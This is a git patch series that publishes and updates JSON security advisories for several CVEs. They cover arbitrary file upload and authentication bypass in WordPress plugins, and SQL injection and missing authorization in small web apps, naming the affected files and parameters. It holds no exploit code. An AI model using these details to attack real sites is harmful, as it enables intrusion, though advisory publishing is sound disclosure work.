+ "details": "The BerqWP – Automated All-In-One Page Speed Optimization for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation via the store_javascript_cache.php file in all versions up to, and including, 2.2.42. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7443"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/searchpro/trunk/api/store_javascript_cache.php#L14"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset/3330075/searchpro/trunk/api/register_apis.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5d7dc644-ab83-4f03-998a-ec8eda695161?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-434"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T05:15:36Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-wjw2-c8pq-fw6m/GHSA-wjw2-c8pq-fw6m.json b/advisories/unreviewed/2025/08/GHSA-wjw2-c8pq-fw6m/GHSA-wjw2-c8pq-fw6m.json
new file mode 100644
index 0000000000000..205088303f4d5
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-wjw2-c8pq-fw6m/GHSA-wjw2-c8pq-fw6m.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wjw2-c8pq-fw6m",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-8435"
+ ],
+ "details": "A vulnerability was found in code-projects Online Movie Streaming 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /admin-control.php. The manipulation of the argument ID leads to missing authorization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8435"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/i-Corner/cve/issues/15"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318463"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318463"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-862"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T05:15:37Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-wwp4-g977-j8h6/GHSA-wwp4-g977-j8h6.json b/advisories/unreviewed/2025/08/GHSA-wwp4-g977-j8h6/GHSA-wwp4-g977-j8h6.json
new file mode 100644
index 0000000000000..db8686f622f43
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-wwp4-g977-j8h6/GHSA-wwp4-g977-j8h6.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wwp4-g977-j8h6",
+ "modified": "2025-08-01T06:31:36Z",
+ "published": "2025-08-01T06:31:36Z",
+ "aliases": [
+ "CVE-2025-54846"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54846"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:21Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-x2xx-4qhp-2vqx/GHSA-x2xx-4qhp-2vqx.json b/advisories/unreviewed/2025/08/GHSA-x2xx-4qhp-2vqx/GHSA-x2xx-4qhp-2vqx.json
new file mode 100644
index 0000000000000..57e905b379d6d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-x2xx-4qhp-2vqx/GHSA-x2xx-4qhp-2vqx.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-x2xx-4qhp-2vqx",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:36Z",
+ "aliases": [
+ "CVE-2025-5947"
+ ],
+ "details": "The Service Finder Bookings plugin for WordPress is vulnerable to privilege escalation via authentication bypass in all versions up to, and including, 6.0. This is due to the plugin not properly validating a user's cookie value prior to logging them in through the service_finder_switch_back() function. This makes it possible for unauthenticated attackers to login as any user including admins.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5947"
+ },
+ {
+ "type": "WEB",
+ "url": "https://themeforest.net/item/service-finder-service-and-business-listing-wordpress-theme/15208793"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c1fe4f60-d93b-4071-90ae-ac863c17fe19?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-639"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:21Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xvq8-f2vm-qf3p/GHSA-xvq8-f2vm-qf3p.json b/advisories/unreviewed/2025/08/GHSA-xvq8-f2vm-qf3p/GHSA-xvq8-f2vm-qf3p.json
new file mode 100644
index 0000000000000..5e76fd76ffe32
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xvq8-f2vm-qf3p/GHSA-xvq8-f2vm-qf3p.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xvq8-f2vm-qf3p",
+ "modified": "2025-08-01T06:31:36Z",
+ "published": "2025-08-01T06:31:36Z",
+ "aliases": [
+ "CVE-2025-54843"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54843"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:19Z"
+ }
+}
\ No newline at end of file
From 203e58b95f90bf90b0a95b0715fd09b331efb75e Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 09:33:27 +0000
Subject: [PATCH 290/323] Publish Advisories
GHSA-8ccv-3j8r-hx7f
GHSA-4748-h423-7xq4
GHSA-43x8-vph3-w4wc
GHSA-f3wq-3888-8q7g
GHSA-jm39-49q3-98mm
GHSA-m2xx-pr2p-6vvw
GHSA-mf4c-hrq6-7vxq
GHSA-x77v-68j6-p42v
GHSA-3c9j-8326-hh7c
GHSA-5f3g-8rwp-2jf4
GHSA-5prv-pch2-5cpp
GHSA-8x5w-3v8g-6653
GHSA-97wf-g3cv-jw4p
GHSA-jvg3-4gv7-rjpq
GHSA-rjr8-pf73-3289
GHSA-xxw5-6rch-9wmx
---
.../GHSA-8ccv-3j8r-hx7f.json | 10 +++-
.../GHSA-4748-h423-7xq4.json | 6 +-
.../GHSA-43x8-vph3-w4wc.json | 6 +-
.../GHSA-f3wq-3888-8q7g.json | 6 +-
.../GHSA-jm39-49q3-98mm.json | 10 +++-
.../GHSA-m2xx-pr2p-6vvw.json | 6 +-
.../GHSA-mf4c-hrq6-7vxq.json | 6 +-
.../GHSA-x77v-68j6-p42v.json | 6 +-
.../GHSA-3c9j-8326-hh7c.json | 56 +++++++++++++++++++
.../GHSA-5f3g-8rwp-2jf4.json | 56 +++++++++++++++++++
.../GHSA-5prv-pch2-5cpp.json | 56 +++++++++++++++++++
.../GHSA-8x5w-3v8g-6653.json | 56 +++++++++++++++++++
.../GHSA-97wf-g3cv-jw4p.json | 40 +++++++++++++
.../GHSA-jvg3-4gv7-rjpq.json | 56 +++++++++++++++++++
.../GHSA-rjr8-pf73-3289.json | 56 +++++++++++++++++++
.../GHSA-xxw5-6rch-9wmx.json | 36 ++++++++++++
16 files changed, 460 insertions(+), 8 deletions(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-3c9j-8326-hh7c/GHSA-3c9j-8326-hh7c.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-5f3g-8rwp-2jf4/GHSA-5f3g-8rwp-2jf4.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-5prv-pch2-5cpp/GHSA-5prv-pch2-5cpp.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-8x5w-3v8g-6653/GHSA-8x5w-3v8g-6653.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-97wf-g3cv-jw4p/GHSA-97wf-g3cv-jw4p.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-jvg3-4gv7-rjpq/GHSA-jvg3-4gv7-rjpq.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-rjr8-pf73-3289/GHSA-rjr8-pf73-3289.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xxw5-6rch-9wmx/GHSA-xxw5-6rch-9wmx.json
diff --git a/advisories/unreviewed/2025/04/GHSA-8ccv-3j8r-hx7f/GHSA-8ccv-3j8r-hx7f.json b/advisories/unreviewed/2025/04/GHSA-8ccv-3j8r-hx7f/GHSA-8ccv-3j8r-hx7f.json
index 9bb976009a480..e8b1a14eed4ef 100644
--- a/advisories/unreviewed/2025/04/GHSA-8ccv-3j8r-hx7f/GHSA-8ccv-3j8r-hx7f.json
+++ b/advisories/unreviewed/2025/04/GHSA-8ccv-3j8r-hx7f/GHSA-8ccv-3j8r-hx7f.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-8ccv-3j8r-hx7f",
- "modified": "2025-04-29T18:30:52Z",
+ "modified": "2025-08-01T09:31:22Z",
"published": "2025-04-18T15:31:38Z",
"aliases": [
"CVE-2025-37925"
@@ -19,6 +19,14 @@
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37925"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/28419a4f3a1eeee33472a1b3856ae62aaa5a649b"
+ },
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/45fd8421081ec79e661e5f3ead2934fdbddb4287"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/8987891c4653874d5e3f5d11f063912f4e0b58eb"
diff --git a/advisories/unreviewed/2025/05/GHSA-4748-h423-7xq4/GHSA-4748-h423-7xq4.json b/advisories/unreviewed/2025/05/GHSA-4748-h423-7xq4/GHSA-4748-h423-7xq4.json
index ae75eb0fb7b68..11f02cd8ecda3 100644
--- a/advisories/unreviewed/2025/05/GHSA-4748-h423-7xq4/GHSA-4748-h423-7xq4.json
+++ b/advisories/unreviewed/2025/05/GHSA-4748-h423-7xq4/GHSA-4748-h423-7xq4.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-4748-h423-7xq4",
- "modified": "2025-05-02T09:30:34Z",
+ "modified": "2025-08-01T09:31:22Z",
"published": "2025-05-01T15:31:44Z",
"aliases": [
"CVE-2025-37777"
@@ -18,6 +18,10 @@
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1aec4d14cf81b7b3e7b69eb1cfa94144eed7138e"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/1da8bd9a10ecd718692732294d15fd801c0eabb5"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/21a4e47578d44c6b37c4fc4aba8ed7cc8dbb13de"
diff --git a/advisories/unreviewed/2025/07/GHSA-43x8-vph3-w4wc/GHSA-43x8-vph3-w4wc.json b/advisories/unreviewed/2025/07/GHSA-43x8-vph3-w4wc/GHSA-43x8-vph3-w4wc.json
index 03c382fcb42b7..a8301251bb1e7 100644
--- a/advisories/unreviewed/2025/07/GHSA-43x8-vph3-w4wc/GHSA-43x8-vph3-w4wc.json
+++ b/advisories/unreviewed/2025/07/GHSA-43x8-vph3-w4wc/GHSA-43x8-vph3-w4wc.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-43x8-vph3-w4wc",
- "modified": "2025-07-10T09:32:30Z",
+ "modified": "2025-08-01T09:31:23Z",
"published": "2025-07-10T09:32:30Z",
"aliases": [
"CVE-2025-38322"
@@ -14,6 +14,10 @@
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38322"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/79e2dd573116d3338507c311460da9669095c94d"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a85cc69acdcb05f8cd226b8ea0778b8e2e887e6f"
diff --git a/advisories/unreviewed/2025/07/GHSA-f3wq-3888-8q7g/GHSA-f3wq-3888-8q7g.json b/advisories/unreviewed/2025/07/GHSA-f3wq-3888-8q7g/GHSA-f3wq-3888-8q7g.json
index cb9ebb20ec203..7e5059b9906b1 100644
--- a/advisories/unreviewed/2025/07/GHSA-f3wq-3888-8q7g/GHSA-f3wq-3888-8q7g.json
+++ b/advisories/unreviewed/2025/07/GHSA-f3wq-3888-8q7g/GHSA-f3wq-3888-8q7g.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-f3wq-3888-8q7g",
- "modified": "2025-07-28T12:30:36Z",
+ "modified": "2025-08-01T09:31:23Z",
"published": "2025-07-28T12:30:35Z",
"aliases": [
"CVE-2025-38491"
@@ -22,6 +22,10 @@
"type": "WEB",
"url": "https://git.kernel.org/stable/c/54999dea879fecb761225e28f274b40662918c30"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/75a4c9ab8a7af0d76b31ccd1188ed178c38b35d2"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f8a1d9b18c5efc76784f5a326e905f641f839894"
diff --git a/advisories/unreviewed/2025/07/GHSA-jm39-49q3-98mm/GHSA-jm39-49q3-98mm.json b/advisories/unreviewed/2025/07/GHSA-jm39-49q3-98mm/GHSA-jm39-49q3-98mm.json
index 2bae2ba2d5c58..0990290efd64d 100644
--- a/advisories/unreviewed/2025/07/GHSA-jm39-49q3-98mm/GHSA-jm39-49q3-98mm.json
+++ b/advisories/unreviewed/2025/07/GHSA-jm39-49q3-98mm/GHSA-jm39-49q3-98mm.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-jm39-49q3-98mm",
- "modified": "2025-07-10T09:32:31Z",
+ "modified": "2025-08-01T09:31:23Z",
"published": "2025-07-10T09:32:31Z",
"aliases": [
"CVE-2025-38335"
@@ -14,6 +14,10 @@
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38335"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/a7b79db25846459de63ca8974268f0c41c734c4b"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ec8f5da79b425deef5aebacdd4fe645620cd4f0b"
@@ -21,6 +25,10 @@
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f4a8f561d08e39f7833d4a278ebfb12a41eef15f"
+ },
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/fa53beab4740c4e5fe969f218a379f9558be33dc"
}
],
"database_specific": {
diff --git a/advisories/unreviewed/2025/07/GHSA-m2xx-pr2p-6vvw/GHSA-m2xx-pr2p-6vvw.json b/advisories/unreviewed/2025/07/GHSA-m2xx-pr2p-6vvw/GHSA-m2xx-pr2p-6vvw.json
index fa7486b8bb185..30120a05ccea0 100644
--- a/advisories/unreviewed/2025/07/GHSA-m2xx-pr2p-6vvw/GHSA-m2xx-pr2p-6vvw.json
+++ b/advisories/unreviewed/2025/07/GHSA-m2xx-pr2p-6vvw/GHSA-m2xx-pr2p-6vvw.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-m2xx-pr2p-6vvw",
- "modified": "2025-07-04T15:31:10Z",
+ "modified": "2025-08-01T09:31:22Z",
"published": "2025-07-04T15:31:10Z",
"aliases": [
"CVE-2025-38221"
@@ -18,6 +18,10 @@
"type": "WEB",
"url": "https://git.kernel.org/stable/c/28b62cb58fd014338f5004170f2e3a35bf0af238"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/a4d60ba277ecd8a98c5a593cbc0ef2237c20a541"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b5e58bcd79625423487fa3ecba8e8411b5396327"
diff --git a/advisories/unreviewed/2025/07/GHSA-mf4c-hrq6-7vxq/GHSA-mf4c-hrq6-7vxq.json b/advisories/unreviewed/2025/07/GHSA-mf4c-hrq6-7vxq/GHSA-mf4c-hrq6-7vxq.json
index 706cfedecd340..61eb3c3664d53 100644
--- a/advisories/unreviewed/2025/07/GHSA-mf4c-hrq6-7vxq/GHSA-mf4c-hrq6-7vxq.json
+++ b/advisories/unreviewed/2025/07/GHSA-mf4c-hrq6-7vxq/GHSA-mf4c-hrq6-7vxq.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-mf4c-hrq6-7vxq",
- "modified": "2025-07-10T09:32:31Z",
+ "modified": "2025-08-01T09:31:23Z",
"published": "2025-07-10T09:32:31Z",
"aliases": [
"CVE-2025-38325"
@@ -22,6 +22,10 @@
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3f3aae77280aad9f5acc6709c596148966f765c7"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/52f5a52dc17a4a7b4363ac03fe2c4ef26f020dc6"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/a89f5fae998bdc4d0505306f93844c9ae059d50c"
diff --git a/advisories/unreviewed/2025/07/GHSA-x77v-68j6-p42v/GHSA-x77v-68j6-p42v.json b/advisories/unreviewed/2025/07/GHSA-x77v-68j6-p42v/GHSA-x77v-68j6-p42v.json
index 01fd392b25f3d..a25ed85f73785 100644
--- a/advisories/unreviewed/2025/07/GHSA-x77v-68j6-p42v/GHSA-x77v-68j6-p42v.json
+++ b/advisories/unreviewed/2025/07/GHSA-x77v-68j6-p42v/GHSA-x77v-68j6-p42v.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-x77v-68j6-p42v",
- "modified": "2025-07-19T12:30:34Z",
+ "modified": "2025-08-01T09:31:23Z",
"published": "2025-07-19T12:30:34Z",
"aliases": [
"CVE-2025-38351"
@@ -18,6 +18,10 @@
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2d4dea3f76510c0afe3f18c910f647b816f7d566"
},
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/stable/c/f1b3ad11ec11c88ba9f79a73d27d4cda3f80fb24"
+ },
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/fa787ac07b3ceb56dd88a62d1866038498e96230"
diff --git a/advisories/unreviewed/2025/08/GHSA-3c9j-8326-hh7c/GHSA-3c9j-8326-hh7c.json b/advisories/unreviewed/2025/08/GHSA-3c9j-8326-hh7c/GHSA-3c9j-8326-hh7c.json
new file mode 100644
index 0000000000000..9171b070a6ebf
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-3c9j-8326-hh7c/GHSA-3c9j-8326-hh7c.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-3c9j-8326-hh7c",
+ "modified": "2025-08-01T09:31:24Z",
+ "published": "2025-08-01T09:31:23Z",
+ "aliases": [
+ "CVE-2025-8442"
+ ],
+ "details": "A vulnerability has been found in code-projects Online Medicine Guide 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /cussignup.php. The manipulation of the argument uname leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8442"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/justconter/cve/issues/1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318469"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318469"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625678"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T08:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-5f3g-8rwp-2jf4/GHSA-5f3g-8rwp-2jf4.json b/advisories/unreviewed/2025/08/GHSA-5f3g-8rwp-2jf4/GHSA-5f3g-8rwp-2jf4.json
new file mode 100644
index 0000000000000..acf40304e98d8
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-5f3g-8rwp-2jf4/GHSA-5f3g-8rwp-2jf4.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5f3g-8rwp-2jf4",
+ "modified": "2025-08-01T09:31:23Z",
+ "published": "2025-08-01T09:31:23Z",
+ "aliases": [
+ "CVE-2025-8437"
+ ],
+ "details": "A vulnerability classified as critical has been found in code-projects Kitchen Treasure 1.0. This affects an unknown part of the file /userregistration.php. The manipulation of the argument email leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8437"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/wllovemy/cve/issues/16"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318465"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318465"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625555"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T07:15:34Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-5prv-pch2-5cpp/GHSA-5prv-pch2-5cpp.json b/advisories/unreviewed/2025/08/GHSA-5prv-pch2-5cpp/GHSA-5prv-pch2-5cpp.json
new file mode 100644
index 0000000000000..bd14230949656
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-5prv-pch2-5cpp/GHSA-5prv-pch2-5cpp.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5prv-pch2-5cpp",
+ "modified": "2025-08-01T09:31:24Z",
+ "published": "2025-08-01T09:31:24Z",
+ "aliases": [
+ "CVE-2025-8443"
+ ],
+ "details": "A vulnerability was found in code-projects Online Medicine Guide 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /login.php. The manipulation of the argument uname leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8443"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/LI1551/vul/issues/1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318470"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318470"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625697"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T09:15:33Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-8x5w-3v8g-6653/GHSA-8x5w-3v8g-6653.json b/advisories/unreviewed/2025/08/GHSA-8x5w-3v8g-6653/GHSA-8x5w-3v8g-6653.json
new file mode 100644
index 0000000000000..16f606269d8c1
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-8x5w-3v8g-6653/GHSA-8x5w-3v8g-6653.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8x5w-3v8g-6653",
+ "modified": "2025-08-01T09:31:24Z",
+ "published": "2025-08-01T09:31:23Z",
+ "aliases": [
+ "CVE-2025-8441"
+ ],
+ "details": "A vulnerability, which was classified as critical, was found in code-projects Online Medicine Guide 1.0. Affected is an unknown function of the file /pharsignup.php. The manipulation of the argument phuname leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8441"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/justconter/cve/issues/2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318468"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318468"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625677"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T08:15:26Z"
+ }
+}
\ No newline at end of file
